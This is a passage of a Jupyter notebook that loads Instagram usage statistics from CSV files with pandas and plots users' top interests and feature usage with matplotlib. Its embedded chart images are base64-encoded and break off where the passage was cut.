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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG13.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "#clean data\n", + "stats.dropna(axis=0, inplace=True)\n", + "print(\"\\nAfter data cleaned :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "c = ['g', 'b', 'k', 'y', 'r', 'm', 'c']\n", + "\n", + "\n", + "plt.title(\"Instagram users’ top interests\")\n", + "plt.plot(y,x, color='r')\n", + "plt.grid(color = 'b', linestyle = '--', linewidth = 0.5)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Percentage of Instagram users who have used features" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " FeatureP ercentage_of_users\n", + "0 Watched a video clip 38\n", + "1 Created/viewed a story 27\n", + "2 Watched IGTV 23\n", + "3 Used live feature 11\n" + ] + }, + { + "data": { + "image/png": "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